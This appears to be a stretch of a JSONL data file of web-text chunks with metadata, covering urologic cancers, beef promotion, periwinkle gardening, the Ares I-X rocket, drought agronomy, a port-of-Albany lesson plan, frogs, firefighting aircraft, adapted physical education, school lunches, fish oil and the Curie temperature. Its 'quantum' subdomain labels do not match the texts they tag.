"HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.669445"} {"text": "easily diagnose most kidney tumors including renal ultrasound or abdominal ct scan traditionally performed to evaluate the kidney as well as mri ' s and multiple other radiologic imaging. treatment for kidney cancer typically includes removal of the kidney which was performed in the past using open surgical techniques and currently more commonly using laparoscopic or da vinci robotic - assisted techniques to remove either the entire kidney or a portion of the kidney. most chemotherapy agents will not cure the cancer although it may decrease its growth once the tumor has spread. while several types of bladder cancer can develop, the most common type in the united states is transitional cell carcinoma of the bladder which often starts as small papillary tumors within the bladder, although less commonly it can be sessile or flat appearing lesions within the bladder. there are several risk factors that are known to increase the incidence of bladder cancer including cigarette smoking and other tobacco products as well as chemical exposure, chemotherapies, radiation treatments as well as chronic infection or indwelling catheters. the typical signs of bladder cancer can include blood in the urine, irritative urinary symptoms including voiding frequently and urgently, incontinence, as well as lower abdominal pain and weight loss. bladder cancer is commonly diagnosed by cystoscopy which includes visualizing the bladder with a telescope performed in the office as well as x - ray imaging with ct scans or other x - rays using contrast such as ivp as well as urine cytologies which evaluate the urine for abnormal cells which have been passed. treatment options include removing the bladder tumor through telescopes placed into the bladder, chemotherapy agents which are placed into the bladder or if advanced it may require surgical removal of the bladder by traditional surgery, laparoscopic techniques, or da vinci robotic - assisted techniques with alternative drainage of urine into small segment of bowel or a newly developed bladder pouch. there is also partial removal of the bladder, radiation therapy and chemotherapy which are alternative options for advanced disease as well as immunotherapy. testicular cancer occurs most frequently in men between the ages of 15 and 35, although it can occur in older men as well. rare types of tumors can develop in extremely younger men as well as those of advanced age. race also plays a part in testicular cancer as caucasians are more likely to develop the disease than african americans and asian americans. there are two general categories of tumors including seminomas and non - seminomas. risk factors include abnormal testicular development, history of testicular cancer, undescend", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.491560520761451, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.670571"} {"text": "##s are more likely to develop the disease than african americans and asian americans. there are two general categories of tumors including seminomas and non - seminomas. risk factors include abnormal testicular development, history of testicular cancer, undescended testicles and congenital abnormalities. the symptoms typically include pain in the testicle or scrotum, a testicular mass which is easily palpable or enlargement of the testicle, weight loss, and back pain. evaluation typically includes physical examination, scrotal ultrasound, further x - rays to assess for any progression of the disease as well as blood tests which are used as tumor markers including alpha - fetoprotein and chorionic gonadotropin. treatment options typically include removal of the affected testicle to assess the type of tumor as well as follow up radiologic imaging and blood testing to assess as to whether the disease has progressed. further treatment may be necessary including possible radiation therapy or chemotherapy and becoming more popular is observation with careful follow with radiologic imaging to be sure that the disease is not recurrent in both that have been treated with chemotherapy and radiation as well as those that are simply being followed after removal of the testicle alone. the disease can progress into the lymph nodes and other parts of the abdomen as well as lungs, spine and brain with advanced disease. the prognosis in patients even with advanced disease oftentimes is quite good.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4439895820299107, "token_count": 293, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.671112"} {"text": "the steps cattle producers take to improve the environment aren ' t new ; they have been around for many decades. in fact, as long as cattle have been raised on the land, american families have worked to protect and enhance the environment. farmers ' and ranchers ' families walk the same land, breathe the same air and drink the same water as your family. they are committed to protect and improve natural resources. so, i ' m sharing with you a few of the many ways raising cattle can contribute to environmental sustainability and a few facts about the important nutrients beef provides to help people sustain health and well - being. \u00b7 about two - thirds of cattle farms and ranches have been in the same family for two generations or more. \u00b7 today ' s cattlemen provide more people with nutritious beef products using fewer natural resources than in the past. \u00b7 today ' s american farmer feeds about 144 people worldwide. experts estimate global food production will need to increase 70 percent by 2050 to feed a growing world population. \u00b7 some ranchers serve as land managers for vast amounts of public open space, while others create wildlife habitat on their private property. \u00b7 cattlemen are also recyclers, raising their animals on the abundant source of grains available in this country and then turning the manure into natural fertilizers. \u00b7 iron deficiency is the most common nutritional deficiency worldwide. beef provides the most readily available and easily absorbed dietary source of iron. \u00b7 just one 3 - ounce serving of beef supplies 10 nutrients essential for life. south dakota cattle producers live and work on the land. for them, protecting the environment isn ' t a choice ; it ' s essential to their survival and the success of future generations. be sure to thank local farmers and ranchers in your area for the superior work they do. i encourage environmentally conscious consumers to enjoy great - tasting, nutrient - rich lean beef. try serving these chimichurri steak wraps, a fun, easy and nutrient - rich recipe that ' s sure to be a family favorite. for more healthy beef recipes and information contact holly swee, rd, ln, director of nutrition & consumer information for the south dakota beef industry council at 605 - 224 - 4722 or http : / / www. beefitswhatsfordinner. com. chimichurri steak wraps 12 ounces grilled beef steak, cut into slices 3 cups fresh baby spinach 1 / 2 large red bell pepper, cut into thin strips 4 medium whole wheat tortillas ( 8 to 10 - inch diameter", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4502426907575632, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.673972"} {"text": "if churchill were a gardener, he could have used similar words to describe madagascar periwinkle or annual vinca ( catharanthus roseus ), at least in terms of this plant ' s performance in los angeles. at times, madagascar periwinkle appears oblivious to garden conditions, no matter how extreme. i have seen it thrive in constantly wet soil, bone - dry earth, full - day sun and virtual shade. then again, i have seen madagascar periwinkle languish and die when the soil was perfectly amended and mixed with slow - release fertilizer, sun was plentiful but not too hot, and beautiful mulch covered the bed. still, when all is said and done, excellent soil drainage is imperative to the flourishing of madagascar periwinkle, even if such drainage does not guarantee success. you should also avoid planting it in successive summers in the same garden spot since there is a buildup of fungal pathogen in the absence of rotation with other summer annuals. however, do not rotate madagascar periwinkle with petunias since they are susceptible to the same disease. although it is often considered an annual, i have seen madagascar periwinkle persist as a perennial for up to three years when growing conditions, which usually include a near cactuslike watering regime, madagascar periwinkle is susceptible to a lethal phytophthora fungus that causes stem lesions, wilting and sudden death. progress of the disease is swift. once leaves begin to shrivel there ' s nothing you can do to revive the plant. and then most, if not all, of the periwinkle in the same bed will become infected with fungus and die. perhaps this plant ' s enigmatic persona may be traceable to its origins. madagascar is an island off the southeast coast of africa that is home to many endemic species, which means that their habitat is confined to the island. eighty percent of the island ' s plants, including 850 orchids and many unusual cactus and succulent arboreal species, are endemic. madagascar, like hawaii and the canary islands, are on the \" must see before i die \" list of every plant lover. if you want to see a healthy bed of madagascar periwinkle, plant them from seed. plants grown from seed sown directly in the earth are invariably healthier than transplanted, nursery - grown fare. still, no matter the quick mortality probability associated with madagascar periwinkle, it is hard to resist taking them home from the", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4524283343187492, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.680273"} {"text": ". plants grown from seed sown directly in the earth are invariably healthier than transplanted, nursery - grown fare. still, no matter the quick mortality probability associated with madagascar periwinkle, it is hard to resist taking them home from the nursery. their botanical name, catharanthus, comes from two words : cathar, although classic madagascar periwinkles are either white with a red center or lavender pink, many other colors have become available in recent years, including apricot, cherry red and rose. annual vinca is grown throughout the tropics for its medicinal properties. alkaloids contained in vinca flower extract have been used to combat diabetes, malaria, leukemia and hodgkin ' s disease. vinca belongs to the dogbane plant family, all of whose members possess white latex sap as well as allergenic to hallucinogenic to lethally toxic qualities. relatives include common oleander ( nerium oleander ), star jasmine ( trachelospermum jasminoides ) and yellow oleander or lucky nut ( thevetia neriifolia ). yellow oleander was planted several years ago by caltrans along the ventura freeway in encino. it has butter yellow flowers and shiny light green foliage. annual vinca is another common name for madagascar periwinkle. the word vinca means \" bind \" and is a name associated with the perennial ground cover vincas, whose long shoots are utilized in binding garlands of flowers together. these shoots may also wind their away around tree trunks and lampposts when conditions for growth are optimal, and underground rhizomes also encourage perennial vincas to spread. locally, however, our dry summers tend to keep perennial vincas in check. there are two ground cover vincas to enjoy : vinca major and vinca minor. vinca major possesses violet - blue flowers and elliptical leaves that are twice the size of flowers and leaves found on vinca minor. in los angeles, perennial vincas must be protected from hot sun, but must also receive excellent ambient light to bloom well. in hot weather, they may require a good soaking several times a week. by the same token, i have seen vinca major go through a very hot summer with barely any water, wilting and turning brown, only to revive completely with winter rain. tip of the week on the balcony of hedy ( heidi ) herbert in encino, carrion flowers ( stapelia sp. ) are in bloom. with an", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4572452881426117, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.681256"} {"text": "water, wilting and turning brown, only to revive completely with winter rain. tip of the week on the balcony of hedy ( heidi ) herbert in encino, carrion flowers ( stapelia sp. ) are in bloom. with an appearance like that of bronzish - red starfish, carrion flowers are so named because they are attractive to pollinating flies and, depending on the species, may have an aroma of rotting flesh, although no such scent emanates from herbert ' s flowers. stapelias hybridize easily and there is much variability among them, with flowers of some species reaching up to 6 inches in diameter. stapelias are among the easiest of container plants to grow on account of their succulent stems and minimal demand for sunlight. frequently, patios and balconies have no more than half a day or less of sun, and so stapelias become a logical choice for these semi - outdoor rooms. joshua siskin ' s column appears every saturday in this section. he welcomes questions from readers and will answer them in his column. if you have a question, please send an email to joshua @ perfectplants. com. include your full name and the city you live in. visit joshua siskin ' s plant of the day at www. perfectplants. com.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.40843913521374753, "token_count": 272, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.681752"} {"text": "ares i - x rocket produced 2. 6 million pounds of thrust, accelerating the rocket to nearly 3 g ' s and a top speed of mach 4. 76. the rocket reached a peak sub - orbital altitude of 150, 000 feet after the separation the first stage from the main stage. the ares i is the first new rocket to launch from the kennedy space center since shuttle in 1981. \" this is a huge step forward for nasa ' s exploration goals, \" said doug cooke, the associate administrator for the exploration systems mission directorate at nasa headquarters in washington. \" ares i - x provides nasa with an enormous amount of data that will be used to improve the design and safety of the next generation of american spaceflight vehicles - - vehicles that could again take humans beyond low earth orbit. \" the ares i - x mission was conceived almost four years ago as an early demonstration for the constellation program, which envisions a manned return to the moon. the ares program includes the ares i rocket which will carry crews into earth orbit, and the much larger ares v to launch cargo. can ' t say enough about this team, \" cooke added. \" they ' ve been together probably a little over three years now, and they went from a concept to flying this vehicle in that period of time, which is the first time this has been done by a human spaceflight team in a today ' s test flight will be followed by the ares i - y test flight in 2014, following years of data analysis and computer modeling. flight engineers were especially concerned about roll torque, and will be carefully scrutinizing the data collected by over 700 onboard sensors. a wide range of performance data was relayed to the ground during the flight and also stored in the onboard flight data recorder. this flight test engineering data will be examined to see how well it correlates with current computer models. the sensors gathered information during several key aspects of the mission, including assembly and launch operations, as well as the separation of the vehicle ' s first and second stages. was some initial speculation that the new kevlar parachutes being used for the first time did not deploy properly. they are part of the first stage which will be recovered for inspection. the simulated upper stage and boilerplate fell into the atlantic ocean as planned and will not be recovered. \" the most valuable learning is through experience and observation, \" said bob ess, the ares i - x ' s mission manager. \" tests such as this - - from paper to flight - - are vital in gaining a deeper", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4558976737975598, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.684719"} {"text": "agronomic lessons learned from the drought al - kaisi and his iowa state colleagues identified several additional agronomic lessons that were learned from the 2012 drought : \u2022 crop residue retention with no - till systems improves water infiltration rate and conserves soil water content by reducing soil cracking and crusting and preserving soil structure. \u2022 corn following corn suffered greater yield losses than corn following soybean. continuous corn typically does not yield as well as corn after soybean, but the yield differential was much greater in 2012. \u2022 cover crops can accumulate residual no3 - n, thus decreasing losses from the root zone. much of the n accrued in cover crops will become available to subsequent crops. \u2022 the reduction of corn plant growth and grain fill during drought led to high no3 accumulations in vegetative plant tissues, particularly in the lower corn stalk. testing corn silage or baled stalks was important in 2012 to determine if no3 - n levels were safe for livestock. \u2022 corn n fertilization rates necessary to provide optimum yield typically are lower in years with below - normal rainfall. this effect can persist across multiple years of dry conditions, even with a return to normal rainfall. therefore, effects of dry conditions should be considered in decisions for n application rates to 2013 corn crops. \u2022 corn silage harvest results in greater p and k removal than grain harvest alone since most of the aboveground plant is harvested. this increased removal rate from grain - only harvest should be considered in nutrient plans for subsequent crops. \u2022 dry fall conditions can impact soil test results. predicting nutrient availability during drought is difficult. sampling after fall rainfall occurs or sampling in the spring improves soil test reliability. \u2022 drought revealed that genetics may have a limited role in protecting yield without optimum moisture availability in the absence of an integrated crop management system. significant rootworm feeding damage was observed in 2012 on hybrids with bt rootworm resistance. decreased root volume following root pruning results in lower water use under drought conditions, more crop stress, and reduced yields. \u2022 the jury is still out on drought - tolerant hybrids. unfortunately, results of scientifically valid comparisons of similar genetics with and without drought tolerance are not yet available. \u2022 planting a range of hybrid maturities will help spread risk, but plant only hybrids adapted to your area. non - adapted hybrids may have neither the yield potential nor disease resistance of adapted hybrids. while the drought could continue in some portions of the cornbelt in 2013, some good lessons have been learned that may help prevent a recurrence of poor yields", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.45345158075939507, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.687600"} {"text": "big boats up the river students will practice addition skills using information about ships visiting the port of albany on the hudson river estuary. students will solve problems that require them to : - read and interpret data from a table ; - add strings of single digit numbers to compare use of the port of albany by different vessels ; - recognize that ships play a role in transportation and commerce in the hudson valley. elementary ( grades 2 - 3 ) math, social studies ( geography ) new york state learning standards : mathematics, science, & technology standards 1, 2, 3 social studies standard 3 - interpret data from a table. - add using single digit whole numbers. - apply mathematics in real world settings. - reason mathematically. preparation time : 5 minutes activity time : 20 minutes each student should have : - worksheet : big boats up the river ( pdf ) 190 kb the port of albany is the destination of many vessels seen on the hudson. the largest grain export elevator east of the mississippi loads ships with grain brought to albany by rail. a few loads of molasses come in each year, to be mixed with grain to produce feed for livestock. road salt also arrives by ship. scrap metal is shipped out of albany, as is wood pulp. heavy equipment - windmill blades, generators, and turbines - enters and leaves the port on heavy lift vessels. containers are barged between albany and new york harbor. while oil is not included in data on cargoes handled at the port of albany ( the tank farms located in the area are privately owned ), gasoline, heating oil, jet fuel, and other petroleum products are - by volume and value - the most important cargos on the hudson river. tankers and tanker barges bring oil to albany, and carry ethanol, brought in by rail, to refineries elsewhere in the northeast, where it is blended into gasoline. likewise not included in the port data are the frequent shipments of gypsum brought by ship to a wallboard ( sheetrock ) factory in rensselaer, across from albany. - discuss the kinds of ships and cargoes seen on the hudson. - go over the worksheet with the class, or assign as in - class work or homework. - have students share answers to questions from worksheet, or collect and grade sheets. - use other data from the table to make up similar problems for quiz. vocabulary list and answer key : available in the pdf version of this teacher ' s section and in the package that bundles all of the readings. - information about the port of", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4554247098605141, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.690256"} {"text": "threats to frogs one of the most pressing threats to frogs today is the chytrid fungus, a deadly skin fungus that has moved across the globe causing amphibian declines in australia, south america, north america, central america, new zealand, europe, and africa killing frogs by the millions. the chytrid fungus is responsible for over 100 frog and other amphibian species extinctions since the 1970 \u2019 s. chytrid fungus has been detected on at least 285 species of amphibians ( including frogs ) from 36 countries. climate change is also having an impact on frogs that live on mountain tops. they are being hit hard since they are dependant on moist leaf litter found in cloud forests as a suitable place to lay their eggs. as temperatures increase further up mountain sides, clouds are being pushed further away and leaves are drying out leaving less suitable habitat for frogs to lay their eggs. as frogs migrate further up the mountain they are faced with the inevitable problem that once they reach the top, unlike birds, they can go no further. frogs are also facing many threats from many different environmental factors : pollution, infectious diseases, habitat loss, invasive species, climate change, and over - harvesting for the pet and food trades are all contributing to the rapid rise of frog extinctions since 1980. reasons for hope chytrid fungus has been recognized as one of the largest threats to amphibian populations around the world. in 2009 a group of organizations came together to respond to the crisis. defenders of wildlife ( washington dc ), africam safari park ( mexico ), cheyenne mountain zoo ( colorado ), the smithsonian national zoological park ( washington dc ), the smithsonian tropical research institute ( panama ), zoo new england ( massachusetts ) and houston zoo ( texas ) have launched the panama amphibian rescue and conservation project. there are yet undiscovered species of frogs in the world. a new species of flying frog was discovered in the himalayan mountains in 2008.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.39744995543821415, "token_count": 394, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.692446"} {"text": "a three - year analysis commissioned by the u. s. forest service has found that the most efficient air - attack strategy to suppress wildfires would use water - scooping aircraft \u2014 not the heavy tankers that the government favors. but forest service leaders plan to press ahead in acquiring more heavy tankers, which drop up to 3, 000 gallons of fire - retardant chemical slurry. nonprofit think tank rand corp. ' s cost - benefit analysis being released monday morning \u2014 launched in 2009, costing $ 800, 000 \u2014 is aimed at perfecting the nation ' s methods for swiftly suppressing wildfires of the sort seen this summer along colorado ' s front range. fire - suppression aircraft fought blazes all over colorado in june, including the devastating waldo canyon fire, which burned 346 homes and 18, 247 acres in colorado springs, and the high park fire, which chewed through 87, 284 acres and destroyed 259 homes west of fort collins. \" our proposal would be to evolve to a portfolio of firefighting aircraft that is dominated by water - bearing scoopers. you can drop more water from a scooper per hour than you can drop slurry from a tanker, \" said ed keating, an economist who ran rand ' s project. \" our perspective was to look at it from the taxpayer ' s perspective. our estimates are that the most cost - effective portfolio would be dominated by water - scoopers, \" keating said. the scoopers are chubby yellow aircraft the size of commuter planes with propellers on each wing and inlets below. they swoop over water, needing a three - quarter - mile stretch several feet deep. they ' re deployed in canada, russia and other areas with abundant water near fire - prone forests. rand analysts said the 1, 600 - gallon scoopers could be had new for about $ 30 million each, with annual costs of $ 3 million, compared with $ 80 million for air tankers and annual costs of $ 7 million. wildfire - suppression costs have increased to about $ 1. 65 billion a year as more people live near forests. forest service chief tom tidwell issued a statement calling rand ' s analysis \" interesting \" but \" based in part on crucial and flawed assumptions \" on costs. the forest service leases firefighting aircraft from contractors. for decades, firefighting ground crews have relied on slurry bombers that \" paint \" terrain with retardant to contain flames so that ground crews can move closer and build fire lines. the forest service hired rand to help determine the best mix", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.3788020247375488, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.697567"} {"text": ". for decades, firefighting ground crews have relied on slurry bombers that \" paint \" terrain with retardant to contain flames so that ground crews can move closer and build fire lines. the forest service hired rand to help determine the best mix of helicopters and air tankers for a modernized fleet of firefighting aircraft. the current fleet has dwindled, and some tankers are more than 40 years old. a plan announced to congress would add 18 to 28 new tankers as well as water - bearing helicopters and two scoopers. \" our 50 - year history has shown us that, while there ' s a time and place for water \u2014 and we drop a lot of it \u2014 that for our large air tankers, retardant is the way to go. you can build the line with the retardant. it has residual, positive benefits for firefighters even when the water has evaporated. in the arid west, it is just a better buy for us, \" said tom harbour, the forest service ' s director of fire and aviation management. rand ' s analysis includes a look at all fires in federal forests over a decade in relation to water bodies that would enable use of scoopers. \" we found that about two - thirds of fires have been within 10 miles of a scooper - accessible body of water, \" keating said. \" we were surprised at the scooper - appropriate water accessibility, even in arid parts of the country. \" the increased development in forests is driving efforts to perfect wildfire suppression. forest service managers say tens of thousands of communities nationwide are at risk of wildfires, in part because aggressive suppression has left forests loaded with fuel. harbour said managers are discussing how to deal with a complex public - policy question : given the risks of super - large catastrophic wildfires in the future, to what extent does aggressive fire suppression make sense? the forest service will use mechanical tools and prescribed fire to thin forests, harbour said. \" but there ' s always going to be a role for putting fires out, \" he said. \" we ' re simply always going to always have places where the proximity of communities and volatile vegetation and the time of year simply doesn ' t mix. \"", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.3758639460522893, "token_count": 446, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.698512"} {"text": "adapted physical education q & a - what is adapted physical education? - what is the goal of adapted physical education? - what makes a child eligible for adapted physical education? - what are the qualifications for an adapted physical education teacher? - what is the role of the adapted physical education teacher? - should all students with disabilities receive adapted physical education - if the iep team determines that a child with an orthopedic impairment or other health impairment requires only adapted physical education as special instruction, may the child receive occupational and physical therapy? - where is the provision of adapted pe shown on the iep? questions and answers adapted physical education is specially designed instruction provided to students who are unable to participate in a regular physical education class, even with modifications, accommodations or supplementary aids and services. adapted p. e. includes special p. e., adapted p. e., movement education, and motor development. it is considered a special education service. the primary goal of adapted physical education should be to ensure that the child is provided with physical education services that meet his / her unique needs. a consideration of the iep team when determining if the child needs an adapted program would be the safety of the student. another consideration would be the development of the student \u2019 s motor skills. adapted physical education programs strive to ensure that each student actively participates in physical education programs at his or her own level and that the student is integrated into the regular education program whenever possible. other goals might include assisting students to develop self - esteem, further socialization skills, and promote sportsmanship. the iep team determines whether a student requires adapted physical education or is able to participate in regular physical education. federal regulations under idea ( 300. 108 ) states : \u201c physical education services, specially designed if necessary, must be made available to every child with a disability receiving fape, unless the public agency enrolls children without disabilities and does not provide physical education to children without disabilities in the same grades. each child with a disability must be afforded the opportunity to participate in the regular physical education program available to nondisabled children unless : ( 1 ) the child is enrolled full time in a separate facility ; or ( 2 ) the child needs specially designed physical education, as prescribed in the child \u2019 s iep. \u201d when developing an iep, regular pe would be the first consideration. if necessary, the team would next consider regular pe with accommodations or modifications to the curriculum and / or performance expectations. if these two models are not appropriate, the team may determine that adapted pe services", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4439069947512697, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.703402"} {"text": "iep, regular pe would be the first consideration. if necessary, the team would next consider regular pe with accommodations or modifications to the curriculum and / or performance expectations. if these two models are not appropriate, the team may determine that adapted pe services are necessary in the child \u2019 s iep to assist the student in a parallel physical education curriculum. adapted physical education is not a related service. related services, such as ot and pt cannot be considered a substitute for physical education. the adapted pe service may be provided by a physical education teacher or a special education teacher. this is one circumstance in which it is not necessary that the specialized instruction be provided by a teacher certificated in special education. the individual providing the adapted physical education should collaborate with the occupational therapist, the physical therapist, the special education teacher and / or the physical education teacher to meet the child \u2019 s needs related to : health and safety, including specific medical needs. modifications of equipment or the environment. specific sensorimotor programming. specific play or leisure needs. activities of daily living related to physical education such as dressing, showering or toileting. positioning during exercises and games. access to the general curriculum. no. many children do quite well in regular physical education with or without modifications / accommodations or support help, and they benefit from being with their non - disabled peers. 7. if the iep team determines that a child with an orthopedic impairment or other health impairment requires only adapted physical education as special instruction, may the child receive occupational and physical therapy? yes. adapted physical education is considered special education. if the iep team determines the student requires ot and / or pt to benefit from adapted physical education, then the child may receive the related service of ot or pt. therapy must relate to the goals and objectives in the child \u2019 s iep. it is shown as a special education service in the services summary section.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.40956565083978613, "token_count": 383, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.704204"} {"text": "school lunch fuels success for spring sports ( bpt ) - springtime packs a punch for students. between tests, papers, school trips, extracurricular performances and jobs, finding the energy for spring ' s after - school sports is often a challenge. time and energy are at a premium. eating well can help ease the crush. while breakfast is often tapped as the most important meal of the day, lunch is arguably just as critical for all - day performance, says sue moores, a registered dietitian in st. paul, minn. \" what kids eat during lunch at school should help them stay focused and concentrate for afternoon classes, plus help to carry them through their after - school activities. \" according to moores, the best school lunch contains foods rich in protein and wholesome carbohydrates, plus foods filled with vitamins and minerals, and some good old - fashioned fiber. this mix of foods provides energy for the brain and muscles that can last for several hours. missing out on lunch means missing out in class and on the field. skipping lunch, or choosing a lunch of chips, cookies and a sugary drink - two options school food service directors say they see far too often at the middle and high school age - is detrimental to school performance and athletic endeavors. \" we know that eating poorly affects a student ' s physical and concentration capabilities, so we work hard in our program to make sure we provide good options - foods students like to eat, such as teriyaki chicken stir - fry and whole - grain, reduced - fat pizza, that are created to be more healthful and wholesome, \" says amy herrold, child nutrition supervisor, edmond, okla. what makes a good lunch? herrold suggests these options from the lunch line : * salad bar that includes romaine lettuce, shredded or diced vegetables, cottage cheese or hard - boiled eggs, a drizzle of dressing, plus whole - grain breadsticks, fruit and a low - fat milk. * roast beef or ham sandwich on whole - wheat bread, accompanied by an orange, carrot sticks with dip and a low - fat milk. * tony ' s ( r ) livesmart schools ( tm ) whole - grain crust pizza, with carrot and celery sticks, grapes and water. * quesadillas or a flatbread sandwich with a mixed lettuce salad, melon and a low - fat milk. * turkey / veggie wrap with pineapple and mandarin oranges, pretze", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.42675980595918794, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.709213"} {"text": "sticks, grapes and water. * quesadillas or a flatbread sandwich with a mixed lettuce salad, melon and a low - fat milk. * turkey / veggie wrap with pineapple and mandarin oranges, pretzel sticks and a low - fat chocolate milk. * baked potato with broccoli and low - fat cheese sauce, orange wedges, whole - wheat roll and a low - fat milk. a good lunch equals better results after school \" on any given day, i can tell you within minutes which kids have eaten a healthy lunch and will be productive during practice or in a tournament, and which ones haven ' t, \" says jeff doherty, golf coach at edmond north high school, edmond, okla., who was recently named one of just 20 national coaches of the year for 2011 by the national federation of state high school associations. \" food is so closely tied to sports performance. more kids today are realizing just how important what they eat is to how they ' ll practice or play in the game that afternoon. \" \" athletes who want to get the most out of themselves and rise to the top pay attention to food, \" says moores. \" there ' s an undeniable connection between food and performance whether it ' s on the golf course, the soccer field, the stage or as first chair in the trombone section. \" lunch provides the energy and endurance for afternoon activities. a nutrient - rich lunch leaves the stomach within four hours and is in the muscles ready for release come afternoon, when the student really needs it, says moores. no lunch means no energy. the chips - cookie - and - sugary - drink - meal may offer a surge of \" liveliness \" but, as moores explains, is quickly followed by a significant dip in it. doherty appreciates the work being done by edmond public schools to provide the best options for students. \" the increased attention being paid to nutrition throughout our district and at schools across the country is a benefit to all student athletes, \" says doherty. \" we want to help kids understand they ' re putting fuel in to run a machine - their body, \" continues doherty. \" when you eat good food, it allows you to have better results, and i can tell you, the results are noticeable, immediate and lasting. \"", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.42992197371566854, "token_count": 471, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.710075"} {"text": "fish oils have many health benefits, including lowering triglycerides, blood pressure, and regulating abnormal heart rhythms. it can also reduce the risk of death from heart attack and strokes, and slows plaque buildup in the arteries. now researchers from the university of california, san diego school of medicine have identified the molecular mechanism that makes omega - 3 fatty acids such a great health benefit, particularly in reducing chronic inflammation and insulin resistance. the scientists say omega - 3 fatty acids activate a \u201c macrophage receptor, \u201d which is found in abundance in the fat of people who are obese. macrophages are white blood cells that engulf and digest cellular debris and pathogens. since obese people have a lot of these macrophages in their fat tissue, this can cause chronic inflammation and a rise in insulin resistance. when resistance occurs, insulin becomes less effective at regulating blood sugar levels in the body, which causes a number of health issues, including type 2 diabetes. but omega - 3 fatty acids seem to have a strong anti - inflammatory effect. \u201c it \u2019 s just an incredibly potent effect, \u201d said olefsky, a professor of medicine and associate dean of scientific affairs for the uc san diego school of medicine. \u201c the omega - 3 fatty acids switch on the receptor, killing the inflammatory response. \u201d the study is further progress in finding a dietary way to combat the dangerous rise in diabetes cases. \u201c our work shows how fish oils safely [ control inflammation ], and suggests a possible way to treat the serious problems of inflammation in obesity and in conditions like diabetes, cancer and cardiovascular disease through simple dietary supplementation, \u201d said olefsky. september 10th, 2010", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.45814837341853887, "token_count": 337, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.712993"} {"text": "| | this article may be too technical for most readers to understand. ( may 2011 ) | properties of magnetic materials change with temperature. in physics and materials science, the curie temperature ( tc ), or curie point, is the temperature where a material ' s permanent magnetism changes to induced magnetism, or vice versa. the force of magnetism is determined by magnetic moments. the curie temperature is the critical point where intrinsic magnetic moments change directions. magnetic moments are permanent dipole moments within the atom which are made up from electrons angular momentum and spin. materials have different structures of intrinsic magnetic moments that depend on temperature. it is at a material ' s specific curie temperature where they change directions. permanent magnetism is from aligned magnetic moments and induced magnetism is disordered magnetic moments forced to align in a magnetic field. for example, the ordered magnetic moments ( ferromagnetic, figure 1 ) change and become disordered ( paramagnetic, figure 2 ) at the curie temperature, and vice versa. higher temperatures make magnets weaker as spontaneous magnetism only occurs below the curie temperature. magnetic susceptibility only occurs above the curie temperature and can be calculated from the curie - weiss law which is derived from curie ' s law. in analogy to ferromagnetic and paramagnetic materials, the curie temperature can also be used to describe the temperature where a material ' s spontaneous electric polarisation changes to induced electric polarisation, or vice versa. | material | | curie temperature ( k ) | | iron ( iii ) oxide ( fe2o3 ) | | 948 | | iron ( ii, iii ) oxide ( feofe2o3 ) | | 858 | magnetic moments 